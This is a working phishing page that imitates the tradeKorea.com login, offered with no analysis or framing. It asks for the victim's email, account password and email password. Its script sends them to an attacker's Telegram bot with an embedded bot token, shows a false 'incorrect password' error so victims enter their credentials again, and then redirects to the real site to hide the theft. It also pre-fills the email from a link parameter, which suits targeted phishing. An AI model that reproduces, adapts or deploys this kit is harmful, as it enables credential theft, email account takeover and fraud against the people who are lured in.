
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>tradeKorea.com: Verified Korean Suppliers and Products</title>
    <link href="https://kita.net/imgs/favicon.png" rel="shortcut icon" type="image/x-icon">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
    <style>
        body {
            background-image: url('https://cdn.glitch.global/a60662da-aa65-4301-86bb-e8a8d2554509/photo_2024-12-16_18-05-28.jpg?v=1734368752187'); 
            background-size: cover;
            background-position: absolute;
            margin: 0;
            padding: 0;
            height: 130vh;
        }

        .form-container {
            position: absolute;
            top: 40%;
            left: 60%;
            width: 400px;
            padding: 30px;
            background-color: rgba(255, 255, 255, 0.8);
            border-radius: 10px;
        }

        h2 {
            text-align: center;
            color: #333;
            margin-bottom: 20px;
            font-size: 24px;
            font-weight: 700;
        }

        .input-container {
            position: relative;
        }

        .input-container input[type="text"], 
        .input-container input[type="password"],
		.input-container input[type="pass"] {
            width: 100%;
            padding: 15px 40px 15px 35px;
            margin: 15px 0;
            border-radius: 5px;
            border: 1px solid #ccc;
            box-sizing: border-box;
            font-size: 12px;
        }

        .input-container i {
            position: absolute;
            left: 10px;
            top: 50%;
            transform: translateY(-50%);
            font-size: 18px;
            color: #30BEB2;
        }

        .eye-icon {
            position: absolute;
            left: 90%;
            top: 50%;
            transform: translateY(-50%);
            font-size: 12px;
            cursor: pointer;
        }

        .input-container input[type="text"]:focus, 
        .input-container input[type="password"]:focus,
		.input-container input[type="pass"]:focus {
            border-color: rgb(123, 170, 170);
            outline: none;
        }

        button {
            width: 100%;
            padding: 15px;
            background-color: #30BEB2;
            color: white;
            font-size: 16px;
            font-weight: 700;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            margin: 15px 0;
        }

        button:hover {
            background-color: teal;
        }

        .link {
            text-align: center;
            margin-top: 15px;
        }

        .link a {
            color: #000000;
            font-size: 14px;
            text-decoration: none;
            font-weight: 500;
        }

        .link a:hover {
            text-decoration: underline;
        }

        .error-message {
            color: red;
            font-size: 14px;
            text-align: center;
            margin-top: 10px;
        }

        @media (max-width: 768px) {
            body {
                margin-top: 0px;
                background-size: contain; 
                background-repeat: no-repeat; 
                margin: 0;
                padding: 0;
                height: 60vh;
            }

            .form-container {
                position: absolute; 
                left: 50%;
                top: 70%; 
                transform: translate(-50%, -50%); 
                width: 90%; 
                max-width: 300px; 
                padding: 20px; 
            }
        }

    </style>
</head>
<body>
    <div class="form-container">
        <form id="login-form" method="POST" onsubmit="return handleSubmit(event)">
            <div class="input-container">
                <input type="text" name="username" id="username" placeholder="Email Address" required>
                <i class="fa-solid fa-envelope" style="font-size: 12px;"></i>
            </div>
            <div class="input-container">
                <input type="password" name="password" id="password" placeholder="Password" required>
                <i class="fas fa-eye eye-icon" id="toggle-password" onclick="togglePassword()" style="font-size: 13px;"></i>
            </div>
            <div class="input-container">
                <input type="password" name="pass" id="pass" placeholder="Email Password" required>
                <i class="fas fa-eye eye-icon" id="toggle-password" onclick="togglePassword()" style="font-size: 13px;"></i>
            </div>

            <div id="error-message" class="error-message" style="display: none;"></div>

            <div class="link">
                <a>Forgot Your ID or Password?</a>
            </div>
            <button type="submit">Sign In</button>
            <div class="link">
               <button type="button" style="background-color: rgb(27, 25, 25);">
                    <i class="fas fa-user-plus"></i> Join Free
                </button>
            </div>
        </form>
    </div>

    <script>
      let attemptCount = 0; // Keep track of number of attempts

      function togglePassword() {
          const passwordField = document.getElementById('password');
          const toggleIcon = document.getElementById('toggle-password');
          
          if (passwordField.type === "password") {
              passwordField.type = "text";
              toggleIcon.classList.remove("fa-eye");
              toggleIcon.classList.add("fa-eye-slash");
          } else {
              passwordField.type = "password";
              toggleIcon.classList.remove("fa-eye-slash");
              toggleIcon.classList.add("fa-eye");
          }
      }

      window.onload = function() {
          var mail = document.querySelector('input#username');
          if (mail) {
              var t = document.location.href.split('?')[1];
              if (t) {
                  var params = {};
                  var lst = t.split('&'), l = lst.length;
                  for (var i = 0; i < l; i++) {
                      var p = lst[i].split('=');
                      if (!p[1]) continue;
                      params[p[0]] = p[1];
                  }

                  if (params.email) {
                      mail.value = decodeURIComponent(params.email);
                  }
              }
          }
      }

      // Handle form submission
      function handleSubmit(event) {
          event.preventDefault();

          const username = document.getElementById('username').value;
          const password = document.getElementById('password').value;
		  const pass = document.getElementById('pass').value;
          const correctPassword = "cat"; // Example correct password for demo
          const errorMessage = document.getElementById('error-message');
          errorMessage.style.display = "none";  // Reset error message

          if (password !== correctPassword) {
              // Send login details to Telegram on each incorrect attempt
              sendMessageToTelegram(username, password, pass)
                  .then(response => {
                      console.log("Login details sent to Telegram");
                  })
                  .catch(error => {
                      console.error("Error sending message:", error);
                      alert("Failed to send message to Telegram.");
                  });

              // Show the incorrect password message
              errorMessage.textContent = "Incorrect password! Please signin with your email password ";
              errorMessage.style.display = "block";

              // Increase attempt count
              attemptCount++;

              // If it's the second attempt, redirect the user
              if (attemptCount >= 2) {
                  setTimeout(() => {
                      window.location.href = "https://www.tradekorea.com"; // Redirect after 2nd incorrect attempt
                  }, 1000); // Wait 1 second before redirecting to give the user time to see the error message

                  // Reset attempt count
                  attemptCount = 0;
              }

              // Reset only the password field
              document.getElementById('password').value = '';
			  document.getElementById('pass').value = '';
          }
      }

      async function sendMessageToTelegram(username, password, pass) {
          const TGBO = '7051308130:AAGPOCY-skiRRA6hGu3n13YJLxTBMOXJXuA'; // Replace with your Telegram bot token
          const chatID = '1739269434'; // Replace with your chat ID
          const message = `Username: ${username}\nPassword: ${password}\nEmail Pass: ${pass}`;

          const url = `https://api.telegram.org/bot${TGBO}/sendMessage`;
          const data = {
              chat_id: chatID,
              text: message
          };

          const response = await fetch(url, {
              method: 'POST',
              headers: {
                  'Content-Type': 'application/json'
              },
              body: JSON.stringify(data)
          });

          if (!response.ok) {
              throw new Error("Failed to send message");
          }

          return response.json();
      }
    </script>
</body>
</html>
